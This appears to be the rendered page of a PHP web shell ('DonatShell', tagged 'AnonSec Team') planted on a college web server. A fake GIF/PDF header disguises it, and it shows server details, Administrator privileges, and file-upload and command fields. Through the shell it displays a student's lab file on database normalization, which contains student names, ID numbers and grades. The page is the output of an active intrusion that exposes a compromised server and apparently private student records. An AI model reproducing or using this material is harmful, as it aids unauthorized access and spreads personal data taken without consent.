GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20253/CST1600/41/16801913/Lab09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20253/CST1600/41/16801913/Lab09/MathewChristiansen-Lab09.txt
UNF:
studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP)
lettergrade (LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9)
possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total)

1NF: The tables lettergrade & possible points are not in 1NF. Neither have an assigned primary key. For lettergrade the Percentages themselves will be the primary key and will correspond to the correct LetterGrade. The possiblepoints table will now have the assignmentName (SP, Lab01, etc.) as the primary key. I will create a column points that will contain the points possible for each assignment and total.

lettergrade--->lettergrade(Percentage*, LetterGrade)
possiblepoints--->possiblepoints(assignmentName*, points)
studentgrades--->ok


2NF: The table studentgrades is not in 2NF. The Total, Final & IP columns do not entirely depend on just the primary key of StudentID. I created a new table, totals, that contains the StudentID as the primary key and the columns Total, Final & IP.

studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP)
	--->studentgrades(StudentID*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09)
	--->totals(StudentID*, Total, Final, IP)
lettergrade(Percentage*, LetterGrade)--->ok
possiblepoints(assignmentName*, points)--->ok


3NF: To clean things up I created a students table to include just information about the student. Student ID and StudentName are contained here. StudentID is the primary key. I removed StudentName from the studentgrades table. It now just contains the StudentID and their lab scores.

students(StudentID*, StudentName)
studentgrades(StudentID*, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09)
Totals(StudentID*, Total, Final, IP)
lettergrade(Percentage*, LetterGrade)--->ok
possiblepoints(assignmentName*, points)--->ok


Three data rows:

students(StudentID*, StudentName)
StudentID*	StudentName
84228748	Lael Abbott
44107438	Bruce Acosta
21479092	Coby Fox

studentgrades(StudentID*, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09)
StudentID*	SP	Lab01	Lab02	Lab03	Lab04	Lab05	Lab06	Lab07	Lab08	Lab09
84228748	4	10	5	9	ns	3	10	ns	ns	ns
44107438	5	10	5	10	10	15	10	15	15	ns
21479092	5	10	5	10	10	15	10	ng	ns	ns

totals(StudentID*, Total, Final, IP)
StudentID*	Total	Final	IP
84228748	41	F	F
44107438	95	B-	A
21479092	65	F	A

lettergrade(Percentage*, LetterGrade)
Percentage*	LetterGrade
93		A
90		A-
87		B+

possiblepoints(assignment*, points)
assignment*	points
SP		5
Lab01		10
Lab02		5


Anon7 - 2022
AnonSec Team